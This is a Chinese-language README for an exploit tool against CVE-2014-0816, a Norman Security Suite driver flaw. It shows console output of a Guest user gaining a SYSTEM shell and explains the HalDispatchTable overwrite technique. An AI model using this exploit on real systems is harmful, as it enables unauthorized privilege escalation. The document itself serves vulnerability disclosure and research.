CVE-2014-0816

这是针对CVE-2014-0816 (JVNDB-2014-000026：Norman Security Suite 权限提升漏洞) 的利用程序。

该利用程序通过利用 ngs.sys / ngs64.sys 中 IOCTL 处理程序的漏洞，从非管理员权限启动具有 SYSTEM 权限的 CMD.exe。

用法

C:\Users\user\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Target file version: ver 5.0.740.0.
[*] An address file was created at C:\Users\user\Desktop\address.bin.
[*] Shellcode is located at 000000013F9357D0.
[*] The device was opened as 0000000000000044.
[*] The address file was opened as FFFFFFFF80000558.
[+] HalDispatchTable[1] is located at FFFFF800033FDC68.
[+] HalDispatchTable[1] was altered.
[+] Shellcode was executed.
[+] The SYSTEM shell was launched.
[*] Press any key to finish this program.

然后你会看到一个新控制台。

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\user\Desktop>whoami
nt authority\system

该漏洞允许攻击者用任意值覆盖任意地址，因此该利用程序将 HalDispatchTable[1] 的值更改为 Shellcode 的地址，从而将当前进程的权限提升至 SYSTEM 权限。

该漏洞在 Windows XP 到 8 的所有平台（x86/x64）上均可利用，但此利用程序仅针对特定平台设计和测试（例如，由于 SMEP，它在 Windows 8 上无法运行）。

已测试平台

• Norman Security Suite 10.1
• 2ad60239e6637132fcaa816348c6ec3b358db49e (ngs.sys)
• 21da5771db8308292c9d88a16b73260be40f0b09 (ngs.sys)
• d2e34871d4d0fe04087e89f9c9f3599193b8258a (ngs64.sys)
• fa1ed5997466263c8f91d8a4f3a80e3712cf777e (ngs64.sys)
• Windows XP (x86) SP3 (Guest 权限)
• Windows 7 (x86/x64) SP1 (Guest 权限)
• Windows 10 (x64) Build 14393 (Guest 权限，SMEP 禁用)

许可协议

本软件基于 MIT 许可证发布，详见 LICENSE。